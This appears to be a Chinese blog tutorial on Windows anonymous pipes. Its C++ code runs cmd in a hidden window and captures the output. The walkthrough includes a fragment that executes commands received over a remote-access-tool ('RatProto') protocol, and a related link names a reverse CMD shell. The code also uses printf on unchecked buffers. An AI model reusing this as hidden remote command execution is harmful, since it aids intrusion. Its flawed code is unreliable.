#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h> int Call(char Cmd[])
{
SECURITY_ATTRIBUTES sa;
HANDLE Hread,Hwrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&Hread,&Hwrite,&sa,0))
{
printf("Create Pipe in error\r\n");
return 0;
} STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si,sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = Hwrite;
si.hStdOutput = Hwrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
memset(&pi,0,sizeof(PROCESS_INFORMATION));
char cmdline[1024 ] = "cmd /c";
strcat(cmdline,Cmd);
if (!CreateProcessA(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
{
printf("Create process error\r\n");
return 0;
} CloseHandle(Hwrite); char buff[1024] = {0};
//char cres[MAX_PATH] = {0};
DWORD bytesread;
while (true)
{
if (ReadFile(Hread,buff,1024,&bytesread,NULL) == NULL)
{
break;
} int ilen = strlen(buff);
for (int i =0;i<ilen;i++)
{
if (buff[i] == '\n' || buff[i] == '\r')
{
buff[i] = '\0';
}
}
printf(buff);
}
CloseHandle(Hread);
//sprintf() return 0;
} int _tmain(int argc, _TCHAR* argv[])
{
char* Cmd = argv[1];
Call(Cmd);
return 0;
} 使用管道CREATEPIPE,来进行进程间的相互通信,然后在进行数据的读取。 什么是管道,管道就是一种通信机制,也就是内存共享,一个进程向管道写入数据后,由另外一个管道读出。  匿名管道是在父进程和子进程间单向传输数据的一种未命名的管道,只能在本地计算机中使用,而不可用于网络间的通信。

匿名管道由CreatePipe()函数创建,该函数在创建匿名管道的同时返回两个句柄:管道读句柄和管道写句

柄。CreatePipe()的函数原型为:
BOOL CreatePipe(
      PHANDLE hReadPipe,    // 指向读句柄的指针
   PHANDLE hWritePipe, &nb sp;  // 指向写句柄的指针
   LPSECURITY_ATTRIBUTES lpPipeAttributes,  // 指向安全属性的指针
   DWORD nSize     // 管道大小
  );   
返回值   
Long,非零表示成功,零表示失败。会设置GetLastError

在调用CreatePipe()函数时,如果管道服务器将lpPipeAttributes 指向的SECURITY_ATTRIBUTES数据结构的数据成员bInheritHandle设置为TRUE,那么CreatePipe()创建的管道读、写句柄将会被继承。
    在用WriteFile()函数向管道写入数据时,只有在向管道写完指定字节的数据后或是在有错误发生时函数才会返回。如管道缓冲已满而数据还没有写完,WriteFile()将要等到另一进程对管道中数据读取以释放出更多可用空间后才能够返回。管道服务器在调用CreatePipe()创建管道时以参数nSize对管道的缓冲大小作了设定。
  匿名管道并不支持异步读、写操作,这也就意味着不能在匿名管道中使用ReadFileEx()和WriteFileEx(),而且ReadFile()和WriteFile()中的lpOverLapped参数也将被忽略。匿名管道将在读、写句柄都被关闭后退出,也可以在进程中调用CloseHandle()函数来关闭此句柄。

程序具体实现过程:
(1) 初始化安全属性的指针 //创建匿名管道前期,就得初始化安全属性的指针。
 SECURITY_ATTRIBUTES sa;
 sa.nLength = sizeof(sa);
 sa.lpSecurityDescriptor = 0;
 sa.bInheritHandle = TRUE;

(2) 创建匿名管道 //开始创建匿名管道
 HANDLE hReadPipe1,hWritePipe1;
 CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);

(3) 创建cmd进程
BOOL CreateProcess(   
 LPCTSTR lpApplicationName,      //可执行模块的字符串 
 LPTSTR lpCommandLine,      //执行的命令行字符串
 LPSECURITY_ATTRIBUTES lpProcessAttributes, 
 LPSECURITY_ATTRIBUTES lpThreadAttributes,   
 BOOL bInheritHandles,      //新进程是否从调用进程处继承了句柄
 DWORD dwCreationFlags,      //标志
 LPVOID lpEnvironment,      //新进程的环境块
 LPCTSTR lpCurrentDirectory,     //子进程的工作路径
 LPSTARTUPINFO lpStartupInfo,     //决定新进程的主窗体如何显示
 LPPROCESS_INFORMATION lpProcessInformation  //接收新进程的识别信息
  );

在创建进程前,先初始化两个结构体:LPSTARTUPINFO 和LPPROCESS_INFORMATION

STARTUPINFO结构用于指定新进程的主窗口特性,应用程序必须将cb初始化为sizeof(STARTUPINFO)
STARTF_USESHOWWINDOW使用wShowWindow成员:wShowWindow用于设定如果子应用程序初次调用的ShowWindows将SW_SHOWDEFAULT作为nCmdShow参数传递时,该应用程序的第一个重叠窗口应该如何出现。
STARTF_USESTDHANDLES使用hstdInput、hstdOutput和hstdError成员:HANDLE hStdInput用于设定供控制台输入和输出用的缓存的句柄。按照默认设置,hstdInput 用于标识键盘缓存,hstdOutput和hstdError用于标识控制台窗口的缓存。

STARTUPINFO si;
 memset(&si,0,sizeof(si));
 GetStartupInfo(&si);  //该函数返回进程在启动时被指定的STARTUPINFO 结构
 si.cb = sizeof(si);
 si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
 si.wShowWindow = SW_HIDE;
 si.hStdOutput = si.hStdError = hWritePipe1;

PROCESS_INFORMATION pInfo;
 memset(&pInfo,0,sizeof(PROCESS_INFORMATION));

创建进程
 char szCmd[MAXLENGTH] = "cmd.exe /c";
 //接收远程传入的进程执行参数
 int dwSize = ((RatProto*)szRecvCmd)->RatLen - sizeof(RatProto);
 strncat(szCmd,szRecvCmd+sizeof(RatProto),dwSize);
 CreateProcessA(NULL,szCmd,NULL,NULL,1,0,NULL,NULL,&si,&pInfo);

(3) 通过管道通信,得到进程执行结果
 memset(szCmd,0,MAXLENGTH);
 int dwRead;
 //判断管道内是否有传入数据
 int nRet = PeekNamedPipe(hReadPipe1,szCmd,MAXLENGTH,(LPDWORD)&dwRead,NULL,NULL);
 for (int i=0;i<5&&dwRead==0;i++)
 {
  Sleep(100);
  nRet = PeekNamedPipe(hReadPipe1,szCmd,MAXLENGTH,(LPDWORD)&dwRead,NULL,NULL);
 }

if (dwRead)
 {
  nRet = ReadFile(hReadPipe1,szCmd,dwRead,(LPDWORD)&dwRead,0);
  if (!nRet)
  {
   sprintf(szCmd,"%s","CMD COMMAND EXCUTE ERROR!");
  }  
 }

(4) 将执行结果传给客户端
 .......

VC 模拟CMD 匿名管道的更多相关文章

  1. 匿名管道读取CMD回显信息

    之前用了很坑爹的做法去读取了cmd命令的回显信息,现在发现了用匿名管道的实现方法,由于楼主没有学过Windows核心编程,找了一个代码来凑数 存下来以后研究 #include <windows. ...

  2. 通过匿名管道获取CMD运行结果

    #include <iostream> #include <string> #include <Windows.h> using namespace std; /* ...

  3. Windows下 C++ 实现匿名管道的读写操作

    由于刚弄C++没多久,部分还不熟练,最近又由于开发需求要求实现与其他程序进行通信,瞬间就感觉想到了匿名通信.于是自己查阅了一下资料,实现了一个可读可写的匿名管道: 源代码大部分都有注释: Pipe.h ...

  4. 使用匿名管道在进程间通信 (System.IO.Pipes使用)(转)

    原文地址:http://www.cnblogs.com/yukaizhao/archive/2011/08/04/system-io-pipes.html 管道的用途是在同一台机器上的进程之间通信,也 ...

  5. C语言通过匿名管道实现反弹式CMDShell

    #pragma comment(lib,"ws2_32.lib") #ifdef _MSC_VER #pragma comment( linker, "/subsyste ...

  6. Windows进程通信之一看就懂的匿名管道通信

    目录 进程通信之一看就懂的匿名管道通信 一丶匿名管道 1.1何为匿名管道 1.2创建匿名管道需要注意的事项 1.3 创建匿名管道需要的步骤 1.4代码例子 1.5代码运行截图 进程通信之一看就懂的匿名 ...

  7. 进程通信类型 管道是Linux支持的最初Unix IPC形式之一 命名管道 匿名管道

    管道 Linux环境进程间通信(一) https://www.ibm.com/developerworks/cn/linux/l-ipc/part1/index.html 管道及有名管道 郑彦兴200 ...

  8. Linux学习笔记(12)-进程间通信|匿名管道

    Linux的进程间通信有几种方式,包括,管道,信号,信号灯,共享内存,消息队列和套接字等-- 现在一个个的开始学习! ----------------------------------------- ...

  9. Linux进程间通信(三):匿名管道 popen()、pclose()、pipe()、close()、dup()、dup2()

    在前面,介绍了一种进程间的通信方式:使用信号,我们创建通知事件,并通过它引起响应,但传递的信息只是一个信号值.这里将介绍另一种进程间通信的方式——匿名管道,通过它进程间可以交换更多有用的数据. 一.什 ...

随机推荐

  1. Linux 进程间通信(一)(经典IPC:消息队列、信号量、共享存储)

    有3种称作XSI IPC的IPC:消息队列.信号量.共享存储.这种类型的IPC有如下共同的特性. 每个内核中的IPC都用一个非负整数标志.标识符是IPC对象的内部名称,为了使多个合作进程能够在同一IP ...

  2. 1060 最复杂的数(反素数玄学dfs)

    1060 最复杂的数 题目来源: Ural 1748 基准时间限制:1 秒 空间限制:131072 KB 分值: 40 难度:4级算法题 把一个数的约数个数定义为该数的复杂程度,给出一个n,求1-n中 ...

  3. NetCore

    正确理解DTO.值对象和POCO https://www.cnblogs.com/redmoon/archive/2015/04/29/4467485.html ASP.NET Core 配置系统 h ...

  4. Python之可迭代对象、迭代器、生成器

    在使用Python的过程中,很容易混淆如下几个关联的概念: 1.容器(container) 2.可迭代对象(Iterable) 3.迭代器(Iterator) 4.生成器(generator) 5.生 ...

  5. ORACLE中的MERGE语法使用记录

    项目中使用到了Oracle的MERGE INTO语句,在这里简单记录下使用方法 使用场景如下: 存在对一张数据量很大的表,你需要对里面的大量数据进行更新,如果数据不存在,就进行插入的操作. 常规想到的 ...

  6. 常用代码块:java使用剪贴板复制文本

    // 获得系统剪切板 Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); // 复制到剪切板上 String ...

  7. [置顶] 我的Android进阶之旅------>Android中制作和查看自定义的Debug版本Android签名证书

    Android应用开发接入各种SDK时会发现,有很多SDK是需要靠package name和的证书指纹SHA1码来识别的,如百度地图SDK.这样如果使用默认自动生成的debug的话就会给开发调试工作带 ...

  8. 我的Android进阶之旅------>Android 众多的布局属性详解

    Android功能强大,界面华丽,但是众多的布局属性就害苦了开发者,下面这篇文章结合了网上不少资料,希望对读者有用. 第一类:属性值为true或false android:layout_centerH ...

  9. Scilab 的画图函数(2)

    一幅图是由很多元素组成的. 包含图标题.x轴标签.y轴标签,刻度线等.图1给出了各个元素的一个示意图. 这些全部的元素在scilab中都是能够用代码控制的. 标题 上个笔记上介绍了用xtitle()函 ...

  10. create ‘/.git/index.lock’: File exists.

    Git – fatal: Unable to create ‘/.git/index.lock’: File exists. fatal: Unable to create ‘/path/my_pro ...